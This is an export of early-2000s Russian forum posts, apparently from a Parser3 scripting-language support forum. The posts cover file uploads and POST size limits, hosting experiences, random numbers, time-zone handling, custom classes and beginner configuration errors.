Вот код, который берёт файл из web-формы, если файл передан, выводит его размер и пишет его на диск на сервере\
[code]\
@main[]\
^if(def $form:photo){ \
	Размер файла в байтах: $form:photo.size<br> \
    	^form:photo.save[binary;/photo/1.jpg] \
    	Файл сохранён!\
}{\
	Файла нет!\
}\
[/code]\
\
Меня интересовало и интересует следующее: в тот момент когда срабатывает $form:photo.size где находится сам файл (он уже пришёл на сервер от пользователя или ещё не отправлялся с компьютера удалённого пользователя)???\
\
Если Вас не затруднит, разъясните мне, пожалуйста, этот момент."
"17659","С начало приходит вся информация от пользователя серверу (файл[ы] находится в памяти), потом сервер запускает парсер, всё файлы передаёт ему через стандартный ввод (STDIN), размер этих данных не должен привышать:\
[code]\
$LIMITS[\
	$.post_max_size(10*0x400*0x400)\
]\
[/code]"
"17660","C mtv я познакомился, за неделю было 2 простоя ~30min на моих глазах потом через пару недель они ещё извинения прислали по аварии (пожар в тунеле) - разве это надёжно??? "
"17661","Как всё это должно выглядеть допустим для отображения в html результатов работы скрипта index.php, лежащего в папке /scripts/?"
"17662","от пожара никто не застрахован\
а что простои бывают подтверждаю :(("
"17663","//С начало приходит вся информация от пользователя серверу\
\
что значит \"вся\" информация\
\
//(файл[ы] находится в памяти), \
\
в чьей памяти, если сервера, то значит файл прошёл через сеть?\
\
//потом сервер запускает парсер, всё файлы передаёт ему через стандартный ввод (STDIN), размер этих данных не должен привышать:\
$LIMITS[\
	$.post_max_size(10*0x400*0x400)\
]\
\
\
10*0x400*0x400 - это сколько Mбайт ??? :)"
"17664","Я немного электрик, и точно знаю что объекты требующие повышенной надёжности питаются непросто от разных источников но кабеля проложены по разным каналам и направлениям и с разных сторон здания. \
Думаю это правило действует и для информационных сетей.\
\
зы: Защищает от пожаров и прочей напасти"
"17665","Парсер может попросить (записать/прочитать) у броузера cookies во время сеанса связи, но основная часть информации приходит сразу. О том какую информацию присылает броузер серверу можно узнать прочитав о протоколе HTTP. \
\
[i]10*0x400*0x400=10*1024*1024[/i]"
"17666","Насколько я понимаю, речь идёт о http://www.provider.net.ru/news.php3?ts=1053177897"
"17667","Места море, цены низкие, обещают потрясающую надёжность, в форуме говорят об анонимности - что-то подозрительно это не МММ?"
"17670","Горел коллектор под Ленинградкой на пересечении с Беговой. Погорели электрические кабели района (отрубилась Боткинская больница в т.ч.) и кабели Ростелекома. На сутки все отрубились (Релком, где сидит МТВ, точно). Из самых известных \"отвалившихся\" был РИПН.\
Кстати, МТВ дало неделю хостинга \"в плюс\" за этот простой помимо извинений.\
У МТВ неразвита техподдержка. С точки зрения предоставляемого количества и качества услуг - вполне нормальный хостинг. Для знающих *никсы, думаю, вообще раздолье - практически выделенный сервер за 20 баксов. Делай что хочешь, разве что root нет.\
У нас были сбои, в том числе падения до часа. В конце концов они выловили баг на той железке, где был наш хост, после чего все работает очень прилично и без сбоев.\
Мы решили пока не переходить от них.\
Sergei просто не договорил - у нас больше опыта виндового, поэтому пришлось разбираться в линуксе, что и повлекло значительные напряги с установкой, в основном с прикручиванием mysql.\
Можно это поместить и в раздел отзывов об установке Парсера 3 на площадках - на МТВ устанавливается без проблем. У хостера страдает техподдержка в современном понимании, других претензий сейчас нет.\
\
Алексей,\
начинающий линуксоид :)\
mbclub.ru"
"17671","Подскажите, стоит ли использовать mod_rewrite, учитывая что аналогичным образом (навигация, новости, админчасть с возможностью изменения всей структуры сайта) сделаны несколько средних сайтов по 30-50 страниц?\
Спасибо"
"17672","Я доволен h2hosting.com.\
Парсер, правда, ставить не запрещают, но и помогать отказались.\
В остальном -- реакция на вопросы, когда таковые случаются, -- почти моментальная, и -- по-русски. Ощущение, что они никогда не спят.\
Или Вам в .ru надо было?"
"17673","есть простой счетчик который запускается из метода @auto (потому что удобно - не надо добавлять в текст страниц). для отличения хитов от хостов используется cookies. так вот - не получается что-то. в коде идет проверка \"если куки нет добавляем хит и хост, иначе только хит\". если вызывать из страницы - все получается, а если из @auto.p то нет. можно что-то сделать?"
"17674","http://www.parser.ru/forum/?id=17267"
"17675","Я лично использую mod_rewrite чтобы были красивые пути\
вместо /news/?number=16\
получаю /news/16/ и путь короткий и запоминается гораздо легче."
"17676","так что, Parser там нормально работает? глюков нету?\
\
а то я сначала хотел у них взять."
"17677","ALL!\
Начал разбираться с примером календаря г. Егорова\
Код:\
^connect[$connect_string]{\
$days_of_files[^hash::sql{\
		SELECT \
			date_part('day',public.news.date),\
			header\
		FROM \
			public.news\
		WHERE\
			date_part('year',public.news.date)=2003 AND\
			date_part('month',public.news.date)=06 \
	}[$.distinct(1)]\
]\
}\
\
$a[^days_of_files._keys[]]\
^a.menu{\
$a.key<br>\
}\
\
 $object[^calendar_en::init[$date;$days_of_files]]\
 $calendar_xml[^xdoc::create{^object.xml[]}]\
 $calendar_html[^$calendar_xml.transform[calendar_eng.xsl]]\
 ^calendar_html.string[\
	$.method[html]\
	$.indent[no]\
 ]\
\
Код адаптирован под PostgreSQL. Ключи выбирает верно.\
19\
20\
(Что и есть в базе)\
Ломается так-\
d:/htask/test/index.html(36): 'string' string method not found  type: parser.runtime\
Где 36 строка - ^calendar_html.string[\
\
Опыта маловато, помогите советом."
"17678","А для ламеров написать можно?"
"17679","помнится, тогда к хорошему решению не пришли.\
диагноз: делайте всё на parser'е и не гонитесь за двумя зайцами."
"17680","идем сюда: http://httpd.apache.org/docs-2.0/\
набираем в поиске 'post size limit' и получаем ссылки, третья по счету оказывается нужной.\
\
то, что задается вопрос \"когда срабатывает $form:photo.size\" говорит о том, что не имеется ясности, как работает веб сервер и в частности cgi приложения.\
\
обменом с броузером (клиентом) осуществляет веб сервер. при определенных условиях (как мы его настроим) он вызывает cgi приложение и позволяет ему работать с получеными от броузера данными клиента.\
\
пора таки почитать матчасть ;)"
"17681","за что получил от ПАФ-а ответ: \"читай хоть про куки, хоть про DNS, только уморись :), а вообще-то про это написано в доке по парсеру!!!!!!! и всё тут!!!!!\"\
\
а на самом деле только правильно настроенный веб-сервер может отфутболить большой посылаемый ему клиентом файл!!!! а парсер может лишь взвесить уже полученный сервером файл и либо записать его или не записать, но в любом случае без соответствующей настройки веб-сервера файл приходит на сервер, т.ч. чтение доки по парсеру (как советовал PAF наверное ни к чему не приведёт :)))"
"17682","просто я студент (3 курс), хочеться посмотреть \
как пишуться дипломы на близкую мне тему,\
если не трудно, то сюда lifesource@mail.ru\
\
Спасибо!"
"17683","В папку, из которой вызывается обработчик (parser3.cgi), положить .htaccess\
Внутрь написать:\
[code]\
LimitRequestBody [color=\"red\"]300000[/color]\
[/code]\
\
300000 (300kb) - размер ограничения в байтах. При этом получаем соответствующую ошибку сервера 413 Request Entity Too Large, которую можно приспокойно обработать.\
\
Может пример не самый лучший, зато действующий.\
http://www.opennet.ru/base/dev/post_limit.txt.html\
\
Еще можно поменять значение в auto.p:\
$LIMITS[\
	$.post_max_size([color=\"red\"]10*0x400*0x400[/color])\
]\
к примеру поставив 300*1024 (300kb)\
В случае если лимит превышен получите ошибку posted content_length, которую тоже можно обработать."
"17684","и далее планируете жить и работать основываясь на слухах/домыслах/неверных предположениях? и выливать свои неверные предположения в форум, где их прочтут другие?\
\
нет желания читать, никто не заставит. пожалуйста тогда не изливайте вашы неверные предположения на окружающих."
"17685","Вышла вторая версия (релиз) примера, оформленный в класс.\
http://www.parser.ru/examples/imagemagic/\
Работающая версия\
http://www.spearance.ru/parser3/pictures/"
"17686","делает ровно то же самое."
"17689","это я уже читал.\
прекрасно понимаю, что вынести можно, НО тогда теряется логика работы. потому и спрашивал, можно ли это как-то обойти?\
"
"17690","можно разве что в $env:COOKIE залезть"
"17691","Никак не доходит, как можно сделать древовидный форум, т. е. как сообщения выводить в правильном порядке и с нужным отступлением.\
Заранее большое спасибо"
"17693","Парсер выполняется на стороне сервера, и он не поможет закрыть HTML-код от посетителя."
"17698","Итак, вот есть класс:\
[code]\
@CLASS\
mHash\
@BASE\
hash\
@create[hash]\
^BASE:create[$hash]\
@add[key;value][hashToAdd;united]\
$hashToAdd[^hash::create[\
	$.$key[$value]\
]]\
$united[^self.union[$hashToAdd]]\
$self[$united]\
$result[]\
[/code]\
Когда вызываю метод add, получаю - Unhandled Exception (Debug)\
(mHash) has no string representation\
exception.type=parser.runtime\
\
Я могу как-то изменить $self?"
"17699","Я нашел хостинг, поддерживающий паресер на http://h10.ru. Есть одна маленькая проблема, установить парсер может только пользователь, которому не оказывается помощь. Мне прислали текст, больше похожий на китайские письмена:\
\
Устанавливайте, ссылаясь на его документацию.\
Напоминаем Вам, что:\
На самой директории cgi должны стоять права 755 (rwxr-xr-x). На всех папках\
директории cgi должны стоять права 711 (rwx--x--x), на самом cgi скрипте –\
700 (rwx------) или 755 (rwxr-xr-x). (в этой директории должны храниться\
только .cgi и .pl файлы).\
На директории WWW и всех папках этой директории должны стоять права\
755(rwxr-xr-x), на самих файлах – 644 (rw-r--r--)(в этой директории, с\
такими правами,  должны храниться все остальные  файлы, в т.ч. и php\
скрипты).\
Вы можете поменять права например в Сute Ftp, кликнув правой кнопкой мыши на\
файл и выбрав change attrbutes или в shell'e командой 'chmod 755 *' В Win\
Commander'е это делается в File/change attrbutes.\
\
Может, кто-нибудь скажет мне, что это такое.\
"
"17700","Зайдите сначала сюда:\
http://www.parser.ru/docs/lang/ - там внизу описан процесс установки.\
файлы для установки:\
http://www.parser.ru/download/\
скорее всего Вам нужна версия для Redhat или FreeBSD\
слева есть краткая инструкция.\
если сложно, то\
1) скачать парсер себе на компьютер и распаковать\
2) закачать файл parser3.cgi в деркторию cgi-bin\
3) поменять на него права (так как написано у Вас в письме)\
4) скачать файл с конфигурацией, распаковать и закачать содержимое в директорию cgi-bin\
5) отредактировать на сервера файл .htaccess (как - написано на странице для скачивания парсера)\
6) создать на сервере в директории для веб-страниц какой нибудь файл html, написать в нем - $env:REMOTE_ADDRESS, загрузить эту страницу - если на экране появится Ваш айпи адрес - все получилось\
"
"17702","Cтолкнулся с такой проблемой. При использовании random. Выбрасывает рандом взависимости от времени. Ну тоесть если написать ^math:random(100) и повторять программу каждый несколько секунл то выбрасывать будет попорядку 20, 40 ,60 ,90 ,10 ,20 (числа вязты примерно). А если нужен чистый ранодом. Ктонить сталкивался с такой проблемой?. "
"17703","Спасибо"
"17704","Объясните, собрали Parser3 в виде модуля Apache а с MySQL оно не работает... может я чего еще не сделал? смотрю в разделе download есть *.so  модуль для работы с MySQL. Мне надо его скачать и выложить в lib?\
Этого должно быть достаточно??"
"17705","опытный человек легко разберётся"
"17706","Не просто же так драйвер для mySQL там лежит..."
"17707","Поищи по форуму там это точно есть.\
Я сталкивался с тем, что если брать рэндом средствами Мускул -а и Парсера, то под виндой рэндом из 100 получается реально не рэндомный какой-то. Процентов 90 из выпавших чисел одинаковые. Под линухом почему-то все намного цветнее. "
"17708","Нет числа неодинаковые выпадают. Нормально, разные. Только промжуток у них от времени зависит."
"17711","есть счетчик, в котором есть строчка:\
[code]\
$hit.remote_address^if($hit.remote_host ne $hit.remote_address){($hit.remote_host)}\
[/code]\
идея такая: если имя хоста отличается от айпи адреса, то его надо выводить, причем в скобках, полсе айпи адреса\
тестирую на домашнем компьютере на IIS (п3 - готовый дистрибутив)все нормально - не выводит, когда не надо.\
195.2.97.84:194.19.247.56\
\
перед двоеточием - прокси, потом настоящий ай-пи, потом имя хоста, если есть\
\
загружаю на сервер Apache 2 (п3 собирал из исходников, скачивал из CVS недил две назад) - после айпи адреса появляются пустые скобки. почему так может быть?\
195.2.97.84:194.19.247.56()\
\
"
"17714","Помню была эта тема в форуме, но никак не могу найти, если кто помнит ткните.\
\
Просто хотел прояснить вопрос про def\
каким образом будут работать такие конструкции для типов string table и т.д.\
[code]\
^if(def $test)\
\
^if($test)\
[/code]\
\
C def то все понятно, это есть в документации, а вот со вторым примером хочется прояснить."
"17715","Если переменная не определена, не чего не содержет или значение 0 то False."
"17717","Попробывал первый пример из документации к Парсеру(урок 1)\
Парсер точно установлен правильно. Я пробывал чужой тестовый скрипт - все работает. А вот этот не получается :(\
\
Unhandled Exception (Debug)\
column not found\
uri\
\
z:/home/parser.lh/www/auto.p(7)\
exception.type=parser.runtime \
--------------------------------------------------------------------------------\
menu z:/home/parser.lh/www/auto.p(5)\
navigation z:/home/parser.lh/www/index.html(6)\
\
Вот то, что выводит...\
Думаю, что дело в sections.cfg\
Я скопировал таблицу из урока и вставил. Получилось такое:\
\
section_id \
 name \
 uri \
 \
1 \
\
 Главная \
 / \
 \
2 \
\
 Новости \
 /news/ \
\
и тд..\
\
Может здесь что-то нитак?\
В уроке написано следующее:\
Здесь используется так называемый формат tab-delimited. Столбцы разделяются знаком табуляции, а строки - переводом каретки. При копировании этой таблицы в текстовый редактор данное форматирование будет создано автоматически, но если вы будете создавать таблицу вручную, необходимо это учитывать. Для таблиц ВСЕГДА применяется формат tab-delimited. \
\
Мало что понял из этой фразы.. Но я копировал в текстовый редактор.. Чтобы форматирование автоматически создалось..\
\
Помогите разобраться пожалуйста"
"17718","Скажите пожалуйста, у меня на нескольких страницах используются SSI вставки результатов отработки Perl-ового скрипта. Сейчас поставил Парсер, собрался переходить на него и с ужасом обнаружил, что SSI не хочет дружить с Парсером :-(\
Мне надо пока оставить старую конструкцию ( с использованием SSI), но есть желание потихоньку переводить на Парсер- помогите решить проблему."
"17719","Клавишу Tab и Enter на клавиатуре видел? Если видел то разделяй столбцы нажатием клавиши Tab, а строки нажатием Enter."
"17720","Например вот так:\
[code]\
@include_cgi[file]\
$inlude_file[^file::cgi[$file]]\
$inlude_file.text\
[/code]"
"17721","Сглупил. Там написано об этом непонятными мне терминами.\
Спасибо :) Теперь можно дальше учить"
"17722","Помогите плиз новичку.\
При отправки формы выдет такую страницу:\
\
Unhandled Exception\
The server encountered an unhandled exception and was unable to complete your request.\
\
Вот пример кода, может в нем что-то не правильно, я только учусь.\
\
<form method=\"post\" enctype=\"multipart/form-data\"> \
\
<input type=\"text\" size=\"45\" name=\"realname\">\
<input type=\"text\" size=\"30\" name=\"email\">\
<textarea name=\"questions\" rows=\"7\" cols=\"44\"></textarea>\
\
<input type=\"submit\" name=\"submit\" value=\"Отправить\">\
<input type=\"reset\" name=\"reset\" value=\"Очистить\">\
</form>\
\
^if(def $form:realname && def $form:email){ \
^mail:send[ \
	$.from[$form:realname <$form:mail>]\
	$.to[Berik_Iushi <idea@newmail.ru>]\
	$.subject[мир]\
	$.text[$form:questions]\
]\
…сообщение отправлено\
}"
"17723","См. [url=\"http://www.parser.ru/forum/?id=17458\"]http://www.parser.ru/forum/?id=17458[/url],"
"17724","Спасибо\
вроде работает!!!"
"17725","Скажите пожалуйста как решить такую задачу на Парсер:\
надо зааплоадить файл на сервер через форму (по этой задаче решение в форуме я вроде нашел)\
и затем в БД MySql в одно из полей вставить ссылку на этот файл"
"17726","Давно бьюсь над его созданием,\
что то ничего не получается.\
в голову даже не приходят мысли каким он болжен быть.\
может кто идейку подкинет. Желательно взглянуть хоть разочек."
"17729","Для меня такая ситуация - очень странна.\
ИМХО: \
1) думаешь что нужно на сайте(новости, статьи, галерея, гостевая, форум).\
2) пишешь код для этого не забывая добавить возможмость редактирования.\
3) делаешь все это красивым и собираешь в одно целое.\
\
Для меня большей проблемой было собрать все модули управления в одно целое.\
Вообще(но это уже оффтопик) идеал: 1(одна) форма, которая позволяет работать с новостями, статьями, с фотками в галерее и т.п.  просто изменясь под конкретные нужды сама, при вызове какой-либо функции."
"17732","debug включается в конфигурационном auto.p, в @unhandled_exception надо поменять _release на _debug\
\
далее, у тебя в форме ...name=\"email\"...  в отправке письма:  <$form:mail> - не желает отправлять, был-бы включен debug - сам бы все увидел."
"17733","изменить self, конечно, нельзя.\
иметь hash в качестве базового неудобно: дело в том, что в базовом перезапишутся только те переменные, которые там уже есть, остальные будут помещены в наследника. причём по ним не будет ходить foreach.\
\
вариант: можно работать с $BASE:имя_поля\
\
мысли:\
я уже думал о предоставлении пользовательскому классу возможности определить операции чтения/записи своих элементов, а также операции преобразования себя в число(^eval($table)=^table.count[]) и в строку ($integer=строчное представление).\
\
однако мне представляется это существенным усложнением языка, которое, будучи полезным с академической точки зрения, неопрадванно его усложнит.\
\
диагноз:\
если хотите свой ассоциативный массив с заданными свойствами, сделайте его. но не наследуйте от системного класса, и пользуйтесь методами get/put для работы с ним."
"17734","Я дописываю уже свой CMS.\
Не претендует на конкуренцию с И. но может и поддерживает:\
1. управление мателиалами сайта\
-подключение на любую страницу любого интерактива (голосование и т.д.) и новостных лент\
-создание, добавление, редактирование, удаление\
-версионность данных\
-простое управление шаблонами данных\
-dhtml-редактор\
2. управление новостными лентами\
3. управление пользователями и группами\
4. управление структурой сайта\
5. закачка файлов\
6. управление интерактивами\
- модерирование форумов и т.д.\
- гостевые книги\
- голосования\
- комментарии к публикациям\
7. фотогалереи\
8. простое подключение доп. модулей\
\
Пишу долго, т.к. не хочу переписывать сто раз потом.\
Пока лежит только на моей машине дома, тестирую.\
\
P.S.\
Все это в довольно симпатичном дизайне, IMHO :)\
"
"17735","два момента:\
\
1. то, что вы говорите, не соответствует действительности.\
пожалуйста, проведите полноценный тест, и убедитесь, что это не так.\
пожалуйста, не пишите, что вам нечто показалось. строгий тест.\
реализация хоть и тупа, но не настолько.\
\
fun: мелочь и немного не в тему, но в числе pi уже найдено три куска с такой последовательностью цифр: 0123456789.\
\
\
2. в CVS HEAD уже лежит новый вариант, использующий совсем другой random (под Win32:CryptGenRandom, под unix:/dev/{urandom|random})\
\
так что в очередной версии random будет ещё более качественен, чем сейчас."
"17736","надо не ссылку вставлять, а по уникальному номеру записи.\
Когда сохраняешь файл, присваиваешь ему имя LAST_INSERT_ID.\
дальше - поиск по форуму"
"17737","Спасибо большое, все заработало."
"17740","Вчера скачал парсер, поставил. Никак не удается заставить заработать пример из уроков 1-2. Ловлю сабж когда добавляю птичку к body_main в auto.p, причем ^greeting[], ^body_additional[] проходят нормально. (исходники index.html и auto.p могу вывесить куда-нибудь, если кто-то найдет время объяснить в чем дело). спасибо."
"17741","я такое видел, когда выкачана XML версия parser isapi dll, но XML библиотеки не положены в такое место, где IIS может их найти.\
\
пребывание XML библиотек рядом с parser isapi dll [b]не является[/b] поводом для IIS их найти, IIS не заглянет в этот каталог, если не попросите.\
\
диагноз: положите XML библиотеки куда-нибудь, и поставьте туда PATH. или попросту положите их в windows\\system"
"17742","поставил вместо isapi xml, cgiexe без xml. на том же примере ничего не меняя получаю 'call canceled - endless recursion detected'"
"17743","расскажете?"
"17745","буду разбираться в коде. \
\
а пока придумал @dummy[] который в .html файле стоит последним перед вызовом ^main[] , но в самом auto.p не изпользуется. тогда все рабоатет. но вот если его попробовать там вызвать - endless recursion."
"17746","вызовов ^main[] быть, по-хорошему, не должно. \
\
иначе вы просто напрашиваетесь на endless recoursion :)\
\
вам вызов ^main[] точно нужен?"
"17747","это означало:\
\"Думать!\"(copygight by Serge I. Zolotukhin)\
один из \"отцов\" форума ПАРСЕР-2.\
Пользуясь случаем выражаю ему и Лужниковки свою огромную благодарность за гору советов и пинков ;)"
"17748","вопрос в следующем:\
в .htaccess указано, чтобы html-страницы отдавались parser'у\
  AddHandler parsed-html html \
  Action parsed-html /cgi-bin/parser3/parser3.cgi\
но если такой страницы нет, то получаем\
  read failed: No such file or directory (2), actual filename 'bla-bla-bla.html'\
\
можно ли каким-либо образом вызвать обработку 404 ошибки, указанную в apache (простой показ моей страницы с указанием, что мол такой страницы нет)?"
"17750","убрал ^main[] из .html\
никаких рекурсий..\
\
только потом допер что @main[] ... ... ... выполняется всегда, независимо от того, вызывается из .html или нет)\
\
спасибо"
"17751","Как вставить результат работы script.php? в index.html, если они в одной папке находятся?"
"17752","общая мысль: этого делать не нужно.\
\
самый простой способ: ^file::load[text;http://xxx/script.php]"
"17755","да, отлично, спасибо"
"17757","круто :-)\
\
я, конечно, не отец, но все равно спасибо :)"
"17758","воспользуйтесь набором программ ImageMagick"
"17759","С чем вызвано нежелание сделать возможность определения часового пояса? PAF спросит, --- \"зачем?\", --- я отвечу, что далеко не все живут в Москве, пользуясь при этом московскими провайдерами, и лично мне такая функция, как корректировка времени на GMT, а так же информация о текущем часовом поясе с возможностью его смены для последующих операторов парсера, была бы очень даже кстати. Насколько мне известно, сам парсер знает, в каком поясе он находиться (см. проблемы по созданию нулевого времени), почему же нельзя поделиться этой информацией и с пользователем? \
\
Спасибо, \
Константин. "
"17760","Тоже конечно решение....посмотрю, подумаю\
"
"17761","практический пример, пожалуйста.\
\
я не говорю, что не хочу делать.\
я говорю, что нужна хотя бы одна причина. «кстати» не причина."
"17762","Делаю как в примере из документации.\
Смотрим:\
http://www.infomap.ru/test.html?a=b?12,34\
возвращает x=12 y=34. Все ok.\
\
http://www.infomap.ru/test.html?a=b?12,34567\
возвращает x=12 y=34567. Тоже все ok.\
\
А вот http://www.infomap.ru/test.html?a=b?123456,78\
возвращает x=123456 y=783456 (К y добавляются цифры из x)\
\
В чем проблема? Локально (Win2000, Денвер) все работает нормально.\
Хостинг 350mb.ru, устанавливал по инструкции http://www.egoroff.spb.ru/portfolio/20.html (Linux Redhat 7.2 CGI скрипт с поддержкой XML)\
\
P.S. Еще не все настроил, _test.html выполняется но с некоторыми ошибками http://www.infomap.ru/_test.html . Это может быть связано?"
"17763","Было бы не плохо если конструктор ^date::now[] понимал бы дополнительный параметр смещение в часах относительно GMT, а в отсутствии его создавал объект с датой установлиной на сервере."
"17764","формулирую вопрос ещё раз: «зачем на сервере нужна дата в произвольном часовом поясе — почему недостаточно иметь даты в локальном часовом поясе сервера?».\
\
и ещё раз прошу привести практический пример.\
практический пример, это задача, для решения которой необходима данная возможность."
"17766","Поскольку я столкнулся с похожей проблемой. \
Сайт хостится на американском сервере и , естественно, время там несколко отличается от времени часового  пояса 50% целевой аудитории. еще процентов 10 в австралии, а все остальные в канаде и америке. \
Мне уже писали по поводу времени на сайте: \"...у вас будильник сильно отстает...\" \
Не знаю, можно ли это назвать практическим примером, но проблема существует."
"17767","Пишете свой клас [за основу можно взять Мишин из примеров] и в его конструкторе прибавляете/вычитаете то, что вам нужно..."
"17769"," линии чертить надо, а ресайзить и оформлять картинки"
"17770","причём часовой пояс посетителя определить нетривиально.\
и что?\
а главное, зачем? кто-то делает ^date::now и печатает это безобразие в углу, что-ли?"
"17771","Зачем загружать Parser функциями, которые нужны единичным пользователям, когда для реализации этих возможностей существуют куда более мощные средства. И он был прав, теперь, по прошествии времени полностью его поддерживаю. Я лично не пользовался классом image в плане рисования еще ни разу, хотя задачи попадались разные.\
Это еще раз поддтверждает факт, что для обычной работы он практически не нужен. А реализацию более узких задач типа рисования по jpg - на это имеется ImageMagick, в крайнем случае, попробуйте освоить gimp с его помощью можно нехилые обработчики изображений делать, и он есть практически в каждой Linux и Free BSD подобной системе."
"17772","Что делать если надо написать скрипт 'Программа Передач телеканала РТР' для двух городов Мумбай (GMT 5:30) и Катманду (GMT +5:45), конечно можно поизвращаться, но..."
"17773","1. Найти сервер с ImageMagick.\
2. Я не пробовал, но есть сильное подозрение, что ImageMagick можно установить и работать с ним без прав root на сервере."
"17774","поставил в todo: придумаю, как удобнее, приделаю.\
до кучи сделаю из/в unix-time.\
\
пока: пользоваться средствами баз данных."
"17775","Где найти информацию, или нормальную документацию (для начинающих) в которой разжовано обьяснялось как работать с таблицами. Как например в Парсере 2 написал _macro.cfg накидал туда разные макросы, а в HTML только вызовы, а как это осуществить в Парсере3.\
Как работать с МАКРОСАМИ, с ТАБЛИЦАМИ,.. новое оформление кода вроде совсем не совместимо с Парсер2...\
Помогите, очень хочу разобраться.\
Виталий ВВ"
"17778","Не совсем то что нужно   :-("
"17779","Сайт на Парсере (продажи мобил). Необходимо: для подключения магазина к системе поиска Яндекс-Товары необходимо создать скрипт, при обращении к которому из нашей базы выгружается файл формата xml который Яндекс и использует. \
-- \
Всю необходимую информацию, примеры и нюансы - по мылу.\
Оплата = 1000 рублей."
"17780","Пишу пользовательский класс для работы со стилями оформления, да вот непонятная проблема.\
@style[h]\
$body[\
	$.bgcolor[\"gray\"]\
]\
$main_tabl[\
	$.tabl[\
		$.bgcolor[\"gray\"]\
		$.border[\"0\"]\
		$.cols[\"2\"]\
		$.cellspacing[\"4\"]\
		$.cellpadding[\"4\"]\
		$.width[\"100%\"]\
	]\
]\
^имя_моего_класса:$h.foreach[k;v]{\
	$k=$v\
}\
с хэшем \"body\" все нормально, а вот со вложенным хэшем \"main_tabl\" при попытке передать в параметре \"h\" значения \"main_tabl.tabl\" получаю сообщение:\
(void) not a method or junction, can not call it\
foreach\
"
"17781","Есть такой код:\
[code]\
<a href=\"http://localhost/admin/index.phtml?files=yes\">See files >></a><br><br> \
^files[/]\
@files[dir]\
^if($form:files eq \"yes\"){\
$list[^file:list[$dir]] \
	^list.menu{\
		\
		^is_p[]\
		} \
}\
@is_p[]\
	$names[$list.name]\
	^if(^names.right(2) eq \".p\" || ^names.right(4) eq \".cfg\"){\
			<strong>$list.name ! Stop !!!</strong><br>\
			}{\
 		<a href=\"index.phtml?name=$list.name\">$list.name</a><br>\
		}\
$qname[$form:name][/code]\
\
В textarea  должен выводиться файл указанный в параметре name\
[code]\
$f[^file::load[binary;/admin/$qname]]\
\
<form method=\"get\">\
	<textarea cols=\"70\" rows=\"30\">$f.text</textarea>\
</form>	\
[/code]\
\
При выполнении кода выдает ошибку:\
\
[Mon Jun 23 16:16:08 2003] /admin/index.phtml?files=yes: j:/web_projects/home/admin/index.phtml(25): 'j:/web_projects/home/' read failed: Permission denied (13), actual filename 'j:/web_projects/home/' [file.access]\
[Mon Jun 23 18:18:52 2003] /admin/index.phtml?files=yes: j:/web_projects/home/admin/index.phtml(25): 'j:/web_projects/home/' read failed: Permission denied (13), actual filename 'j:/web_projects/home/' [file.access]\
\
Если я пишу в ^file::load не переменную, а название страницы (типа\
index.phtml) то все работает.\
"
"17782","это напоминает мне навязчиво-слащавый сервис от майкрософт...\
по-хорошему надо зарегистрировать пользователя и пусть сам пишет сколько +/- GMT ему надо...\
тем более, что кто-то может захотеть получать несколько временных зон... хочу мол знать когда передача выйдет в эфир и в Катманду и в Мумбайи... вот это уже четкая постановка по структуре базы данных...\
"
"17784","Я что то не понял про структуру БД... Допустим от РТР в XML формате на региональный портал в Катманду приходит ежемесячно программа передач, время там указоно московское, разница между Катманду с Москвой 2 часа 45 минут вот и пиши алгоритм по преобразованию этой бадяги, мне кажется что на С++ это реализовать проще. (так как там идёт работа с секундами с начала 1970 года и уже реализованы алгоритмы преобразования секунд в год, мес и т.д.)"
"17786","Этот код у тебя написан в методе is_p[]:\
[code]\
$f[^file::load[binary;/admin/$qname]]\
<form method=\"get\">\
	<textarea cols=\"70\" rows=\"30\">$f.text</textarea>\
</form>\
[/code]\
\
Если да, то что ты ожидал? Отдели этот код в другой метод..."
"17789","как мне кажется, я говорил именно об этой проблеме в первом письме... "
"17790","для плавного перехода с 2 версии на 3 даже есть соответствующий пример с классом операторов, идентичных прошлой версии."
"17791","Прошу прощения. Их бин глюк.\
Проблема следущая.\
При прогоне тестового файла выдается что не находятся файлы чарсетов и библиотек.\
Пути при этом выглидят так: C:\\xxx\\yyy/charsets/чарсет.cfg и тд.\
Понятно, что что-то не так в главном конфиг файле.\
Но что?\
В принципе, проблема решилась, когда в переменную $confdir записал значение /xxx/yyy.\
Но вопрос остался. \
Хотя все работало и без этого.\
Да. все это на IIS5"
"17792","Про структуру БД это я так, для примера вкрутил, - в поддержку сопротивлению PAF. Про \"Катманду и Мумбай\" пример не мой, мне эти GMT и даром не нать... пока #:)"
"17793","есть два файла - лежат рядом в корне сайта:\
1.zip и 1.html\
[code]\
@main[]\
$response:download[^file::load[1.zip]]\
[/code]\
\
открываю в броузере 1.html получаю \"Unhandled Exception\" :((\
ПОЧЕМУ??? Тут-то и ошибке негде быть - пример упрощен до нельзя\
Подскажите мне, пожалуйста, в чем может быть проблема"
"17794","а потом убрал binary и всё равно работает, хотя вчера на другом компе пол вечера убил разбираясь с этой фигнёй :(, и сегодня с утра воевал - ошибка была\
странно :("
"17796","^file::load[[b]формат[/b];имя файла]\
"
"17797","При передаче имени хэша через параметр (\"h\") исполняется цикл перебора ключей хэша (например, в случае передачи имени хэша \"body\", когда все работает):\
^имя_моего_класса:style[h]\
...\
^имя_моего_класса:$h.foreach[k;v]{\
$k=$v\
}\
Получаем:\
^имя_моего_класса:style[body]\
...\
^имя_моего_класса:body.foreach[k;v]{\
$k=$v\
}\
Почему то не работает при передаче сложного имени в виде вложенного хэша -> main_tabl.tabl.\
Видимо, придется или операцией \"split\" по точке внутри самой функции заново конструировать имя вложенного хэша, или городить более \"продвинутый\" набор параметров.\
Проверял - имя передается, да вот сложное имя с точкой он и воспринимает как сплошную строку, т.е. не \"видит\", что внутри есть точка."
"17798","При передаче имени хэша через параметр (\"h\") исполняется цикл перебора ключей хэша (например, в случае передачи имени хэша \"body\", когда все работает):\
^имя_моего_класса:style[h]\
...\
^имя_моего_класса:$h.foreach[k;v]{\
$k=$v\
}\
Получаем:\
^имя_моего_класса:style[body]\
...\
^имя_моего_класса:body.foreach[k;v]{\
$k=$v\
}\
Почему то не работает при передаче сложного имени в виде вложенного хэша -> main_tabl.tabl.\
Видимо, придется или операцией \"split\" по точке внутри самой функции заново конструировать имя вложенного хэша, или городить более \"продвинутый\" набор параметров.\
Проверял - имя передается, да вот сложное имя с точкой он и воспринимает как сплошную строку, т.е. не \"видит\", что внутри есть точка."
"17800","Пример: выдача PDF файла \
\
Посетитель заходит на страницу с таким HTML… \
<a href=\"download_documentation.html\">Скачать документацию</a> \
\
download_documentation.html: \
$response:download[^file::load[documentation.pdf]] \
\
…и нажимает на ссылку, браузер предлагает ему Скачать/Запустить. \
\
----------------------\
надо бы поправить :)\
с\
